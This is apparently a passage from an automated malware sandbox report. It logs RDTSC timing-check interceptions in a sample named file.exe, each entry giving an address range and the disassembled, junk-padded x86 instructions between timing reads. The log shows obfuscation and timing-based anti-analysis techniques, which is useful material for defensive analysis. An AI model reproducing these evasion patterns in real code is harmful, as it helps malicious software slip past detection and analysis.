Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170164 second address: 51701BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FDD98C55BEEh 0x0000000f lea eax, dword ptr [ebp-04h] 0x00000012 jmp 00007FDD98C55BF0h 0x00000017 nop 0x00000018 pushad 0x00000019 jmp 00007FDD98C55BEEh 0x0000001e mov cx, B601h 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51701BF second address: 51701C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51701C3 second address: 51701C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517020B second address: 517024A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d pushad 0x0000000e call 00007FDD98B6CD1Bh 0x00000013 mov ecx, 1C99197Fh 0x00000018 pop esi 0x00000019 popad 0x0000001a mov esi, eax 0x0000001c jmp 00007FDD98B6CD1Bh 0x00000021 je 00007FDD98B6CD7Dh 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517024A second address: 517024E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517024E second address: 5170269 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160015 second address: 516001B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516001B second address: 516001F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516001F second address: 5160095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a jmp 00007FDD98C55BF2h 0x0000000f pushfd 0x00000010 jmp 00007FDD98C55BF2h 0x00000015 and esi, 5A61C128h 0x0000001b jmp 00007FDD98C55BEBh 0x00000020 popfd 0x00000021 popad 0x00000022 mov dword ptr [esp], ebp 0x00000025 jmp 00007FDD98C55BF6h 0x0000002a mov ebp, esp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FDD98C55BF7h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160095 second address: 516009B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516009B second address: 516009F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516009F second address: 516011D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a pushad 0x0000000b mov ecx, edi 0x0000000d push edx 0x0000000e mov di, cx 0x00000011 pop eax 0x00000012 popad 0x00000013 call 00007FDD98B6CD19h 0x00000018 jmp 00007FDD98B6CD27h 0x0000001d push eax 0x0000001e pushad 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 pushfd 0x00000023 jmp 00007FDD98B6CD1Bh 0x00000028 add si, 528Eh 0x0000002d jmp 00007FDD98B6CD29h 0x00000032 popfd 0x00000033 popad 0x00000034 movzx eax, dx 0x00000037 popad 0x00000038 mov eax, dword ptr [esp+04h] 0x0000003c jmp 00007FDD98B6CD1Ah 0x00000041 mov eax, dword ptr [eax] 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516011D second address: 5160123 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51602D5 second address: 51602EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD98B6CD22h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51602EB second address: 51602EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51602EF second address: 5160316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007FDD98B6CD27h 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160316 second address: 516031A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516031A second address: 5160320 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160320 second address: 516033F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDD98C55BEEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516033F second address: 5160345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160345 second address: 516039C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FDD98C55BEEh 0x00000011 xchg eax, edi 0x00000012 jmp 00007FDD98C55BF0h 0x00000017 push eax 0x00000018 jmp 00007FDD98C55BEBh 0x0000001d xchg eax, edi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FDD98C55BF5h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516039C second address: 51603C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [769B4538h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDD98B6CD1Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51603C5 second address: 516042E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c pushad 0x0000000d mov bx, cx 0x00000010 mov ch, E0h 0x00000012 popad 0x00000013 xor eax, ebp 0x00000015 pushad 0x00000016 mov cl, B2h 0x00000018 pushfd 0x00000019 jmp 00007FDD98C55BF3h 0x0000001e sbb esi, 7C89DB6Eh 0x00000024 jmp 00007FDD98C55BF9h 0x00000029 popfd 0x0000002a popad 0x0000002b nop 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FDD98C55BEDh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516042E second address: 5160434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160434 second address: 5160438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160438 second address: 51604AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDD98B6CD26h 0x0000000e nop 0x0000000f jmp 00007FDD98B6CD20h 0x00000014 lea eax, dword ptr [ebp-10h] 0x00000017 jmp 00007FDD98B6CD20h 0x0000001c mov dword ptr fs:[00000000h], eax 0x00000022 jmp 00007FDD98B6CD20h 0x00000027 mov dword ptr [ebp-18h], esp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FDD98B6CD27h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51604AD second address: 51604B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51604B2 second address: 51604D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 05EE9138h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr fs:[00000018h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDD98B6CD1Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51604D0 second address: 51604D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51604D8 second address: 5160560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, dword ptr [eax+00000FDCh] 0x0000000d jmp 00007FDD98B6CD26h 0x00000012 test ecx, ecx 0x00000014 jmp 00007FDD98B6CD20h 0x00000019 jns 00007FDD98B6CDBBh 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FDD98B6CD1Dh 0x00000028 add eax, 1B808BE6h 0x0000002e jmp 00007FDD98B6CD21h 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007FDD98B6CD20h 0x0000003a xor eax, 67863F88h 0x00000040 jmp 00007FDD98B6CD1Bh 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160560 second address: 51605F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 mov edx, 428A3BF6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e add eax, ecx 0x00000010 pushad 0x00000011 call 00007FDD98C55BF3h 0x00000016 pushad 0x00000017 popad 0x00000018 pop eax 0x00000019 pushfd 0x0000001a jmp 00007FDD98C55BEFh 0x0000001f xor ecx, 3AAE512Eh 0x00000025 jmp 00007FDD98C55BF9h 0x0000002a popfd 0x0000002b popad 0x0000002c mov ecx, dword ptr [ebp+08h] 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FDD98C55BECh 0x00000036 or cx, F6A8h 0x0000003b jmp 00007FDD98C55BEBh 0x00000040 popfd 0x00000041 mov edi, esi 0x00000043 popad 0x00000044 test ecx, ecx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007FDD98C55BF1h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150076 second address: 515007A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515007A second address: 5150097 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51501A7 second address: 5150230 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 sub ebx, ebx 0x00000009 pushad 0x0000000a mov si, bx 0x0000000d pushfd 0x0000000e jmp 00007FDD98B6CD21h 0x00000013 xor eax, 1128BE06h 0x00000019 jmp 00007FDD98B6CD21h 0x0000001e popfd 0x0000001f popad 0x00000020 sub edi, edi 0x00000022 jmp 00007FDD98B6CD27h 0x00000027 inc ebx 0x00000028 jmp 00007FDD98B6CD26h 0x0000002d test al, al 0x0000002f pushad 0x00000030 mov si, 7BDDh 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FDD98B6CD28h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150315 second address: 515031A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515031A second address: 515032E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dx, cx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515032E second address: 5150336 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150336 second address: 51503A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jg 00007FDE0A37AE65h 0x0000000d pushad 0x0000000e mov bh, cl 0x00000010 call 00007FDD98B6CD1Bh 0x00000015 mov ax, 407Fh 0x00000019 pop esi 0x0000001a popad 0x0000001b js 00007FDD98B6CD4Bh 0x00000021 jmp 00007FDD98B6CD1Bh 0x00000026 cmp dword ptr [ebp-14h], edi 0x00000029 jmp 00007FDD98B6CD26h 0x0000002e jne 00007FDE0A37AE30h 0x00000034 pushad 0x00000035 push ecx 0x00000036 mov cl, bl 0x00000038 pop eax 0x00000039 mov edi, 4CC560BAh 0x0000003e popad 0x0000003f mov ebx, dword ptr [ebp+08h] 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FDD98B6CD1Ch 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51503A3 second address: 51503B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD98C55BEEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51503B5 second address: 51503B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51503B9 second address: 51503D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDD98C55BEAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51504CB second address: 5150559 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FDD98B6CD1Eh 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 call 00007FDD98B6CD1Ah 0x00000016 call 00007FDD98B6CD22h 0x0000001b pop esi 0x0000001c pop ebx 0x0000001d popad 0x0000001e push eax 0x0000001f pushad 0x00000020 movsx edx, si 0x00000023 pushfd 0x00000024 jmp 00007FDD98B6CD28h 0x00000029 and eax, 063A10E8h 0x0000002f jmp 00007FDD98B6CD1Bh 0x00000034 popfd 0x00000035 popad 0x00000036 xchg eax, ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FDD98B6CD25h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150559 second address: 515055F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515055F second address: 5150563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150563 second address: 5150567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150589 second address: 515059B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD98B6CD1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515059B second address: 5140709 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d jmp 00007FDD98C55BF6h 0x00000012 test esi, esi 0x00000014 jmp 00007FDD98C55BF0h 0x00000019 je 00007FDE0A463C65h 0x0000001f xor eax, eax 0x00000021 jmp 00007FDD98C2F31Ah 0x00000026 pop esi 0x00000027 pop edi 0x00000028 pop ebx 0x00000029 leave 0x0000002a retn 0004h 0x0000002d nop 0x0000002e cmp eax, 00000000h 0x00000031 setne cl 0x00000034 xor ebx, ebx 0x00000036 test cl, 00000001h 0x00000039 jne 00007FDD98C55BE7h 0x0000003b jmp 00007FDD98C55D5Bh 0x00000040 call 00007FDD9D7CF53Eh 0x00000045 mov edi, edi 0x00000047 pushad 0x00000048 pushfd 0x00000049 jmp 00007FDD98C55BF2h 0x0000004e add ecx, 6A6544B8h 0x00000054 jmp 00007FDD98C55BEBh 0x00000059 popfd 0x0000005a pushad 0x0000005b mov ebx, eax 0x0000005d call 00007FDD98C55BF2h 0x00000062 pop eax 0x00000063 popad 0x00000064 popad 0x00000065 push ecx 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007FDD98C55BEDh 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140709 second address: 5140798 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d mov eax, 2CAB5A53h 0x00000012 pushad 0x00000013 jmp 00007FDD98B6CD26h 0x00000018 movzx esi, bx 0x0000001b popad 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 mov cx, di 0x00000023 popad 0x00000024 push esi 0x00000025 jmp 00007FDD98B6CD1Eh 0x0000002a mov dword ptr [esp], ecx 0x0000002d pushad 0x0000002e call 00007FDD98B6CD1Eh 0x00000033 pop edx 0x00000034 pushfd 0x00000035 jmp 00007FDD98B6CD1Eh 0x0000003a and cl, FFFFFF98h 0x0000003d jmp 00007FDD98B6CD1Bh 0x00000042 popfd 0x00000043 popad 0x00000044 mov dword ptr [ebp-04h], 55534552h 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140798 second address: 514079C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514079C second address: 51407A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51407FC second address: 5150A20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b and bl, 00000001h 0x0000000e movzx eax, bl 0x00000011 lea esp, dword ptr [ebp-0Ch] 0x00000014 pop esi 0x00000015 pop edi 0x00000016 pop ebx 0x00000017 pop ebp 0x00000018 ret 0x00000019 add esp, 04h 0x0000001c jmp dword ptr [005DA41Ch+ebx*4] 0x00000023 push edi 0x00000024 call 00007FDD98C7B5E7h 0x00000029 push ebp 0x0000002a push ebx 0x0000002b push edi 0x0000002c push esi 0x0000002d sub esp, 000001D0h 0x00000033 mov dword ptr [esp+000001B4h], 005DCB10h 0x0000003e mov dword ptr [esp+000001B0h], 000000D0h 0x00000049 mov dword ptr [esp], 00000000h 0x00000050 mov eax, dword ptr [005D81DCh] 0x00000055 call eax 0x00000057 mov edi, edi 0x00000059 pushad 0x0000005a push ecx 0x0000005b mov bx, A846h 0x0000005f pop ebx 0x00000060 mov ax, 5FA3h 0x00000064 popad 0x00000065 xchg eax, ebp 0x00000066 pushad 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150A20 second address: 5150A80 instructions: 0x00000000 rdtsc 0x00000002 mov cl, bl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 mov edx, 32AC6CFCh 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007FDD98B6CD1Bh 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 mov cx, C7FBh 0x0000001a push eax 0x0000001b mov edi, 3182ABE2h 0x00000020 pop edx 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 pushad 0x00000025 mov ecx, 73C3A5EBh 0x0000002a call 00007FDD98B6CD20h 0x0000002f mov si, A551h 0x00000033 pop ecx 0x00000034 popad 0x00000035 cmp dword ptr [769B459Ch], 05h 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FDD98B6CD1Fh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150A80 second address: 5150A86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150A86 second address: 5150AC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FDE0A36AC77h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FDD98B6CD28h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150AC0 second address: 5150AC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150AC6 second address: 5150ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150ACA second address: 5150ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150ACE second address: 5150AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDD98B6CD24h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150B3D second address: 5150B58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150B58 second address: 5150BCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDD98B6CD21h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FDD98B6CD27h 0x0000001a or ah, FFFFFFDEh 0x0000001d jmp 00007FDD98B6CD29h 0x00000022 popfd 0x00000023 mov ebx, ecx 0x00000025 popad 0x00000026 mov eax, dword ptr [eax] 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150BCC second address: 5150BE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150CAF second address: 5150CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150CB5 second address: 5150CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150CB9 second address: 5150CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150CBD second address: 5150CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FDD98C55BEFh 0x00000012 pop eax 0x00000013 jmp 00007FDD98C55BF9h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150CF4 second address: 5150D2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FDE0A360992h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007FDD98B6CD1Ah 0x00000018 or eax, 522C4A08h 0x0000001e jmp 00007FDD98B6CD1Bh 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170327 second address: 517035F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ax, 95A1h 0x00000011 pushfd 0x00000012 jmp 00007FDD98C55BEEh 0x00000017 and ax, 7538h 0x0000001c jmp 00007FDD98C55BEBh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517035F second address: 5170377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD98B6CD24h 0x00000009 rdtsc
